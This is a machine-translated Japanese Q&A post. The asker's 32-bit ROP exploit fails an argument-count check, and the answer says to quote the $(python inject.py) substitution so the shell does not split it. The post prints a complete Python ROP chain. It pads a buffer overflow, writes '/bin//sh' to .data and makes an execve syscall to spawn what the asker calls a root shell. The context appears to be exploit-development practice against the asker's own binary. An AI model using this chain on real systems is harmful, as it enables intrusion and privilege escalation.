2016-04-28 16 views
0

問題コードなしで別のプログラムでテストしたので、私が知っているROP攻撃チェーンを作成しました。 (./target $:ROP攻撃チェーンが引数として検出されない

if (argc !=2){ 
fprintf(stderr, "Error:need a command-line argument\n"); 
return 1; 
} 

私はそれが好きで実行している:私は私のターゲットバイナリファイルに入力引数としての私のROPチェーンを実行するたびに

私の問題は、それがこの部分を通過し得ることができない、ありますPythonのinject.py)

以下は私の攻撃鎖である:

#!/usr/bin/env python2 

from struct import pack 

p = 'A'*112 

p += pack('<I', 0x080572fa) # pop edx ; ret 
p += pack('<I', 0x080ef060) # @ .data 
p += pack('<I', 0x080c2316) # pop eax ; ret 
p += '/bin' 
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret 
p += pack('<I', 0x080572fa) # pop edx ; ret 
p += pack('<I', 0x080ef064) # @ .data + 4 
p += pack('<I', 0x080c2316) # pop eax ; ret 
p += '//sh' 
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret 
p += pack('<I', 0x080572fa) # pop edx ; ret 
p += pack('<I', 0x080ef068) # @ .data + 8 
p += pack('<I', 0x08051710) # xor eax, eax ; ret 
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret 
p += pack('<I', 0x080481ec) # pop ebx ; ret 
p += pack('<I', 0x080ef060) # @ .data 
p += pack('<I', 0x080e3cc6) # pop ecx ; ret 
p += pack('<I', 0x080ef068) # @ .data + 8 
p += pack('<I', 0x080572fa) # pop edx ; ret 
p += pack('<I', 0x080ef068) # @ .data + 8 
p += pack('<I', 0x08051710) # xor eax, eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x0809a506) # inc eax ; ret 
p += pack('<I', 0x080494b9) # int 0x80 
print p 

それは私に、端末と作品へのrootアクセス権を与える作品の上に、私は、引数のチェックを外し

。ターゲットは、DEPを上持っている -g -m32 -static -U_FORTIFY_SOURCE -fno-スタックプロテクター

これらは私が使用してプログラムをコンパイルヘッダです。

答えて

0

./target $(python inject.py)で呼び出された場合、argc2ではありません。コマンド置換$()が実行され、戻り値が返され、各スペースで分割され、引数の数は./targetになります。

コマンド置換の各スペースでシェルが分割されないようにするには、結果が分割されないようにコマンド置換を行い、その代わりに単一のパラメータとして扱います。

変更:

./target $(python inject.py) 

詳細については、次のチェックアウト

./target "$(python inject.py)" 

へ:

関連する問題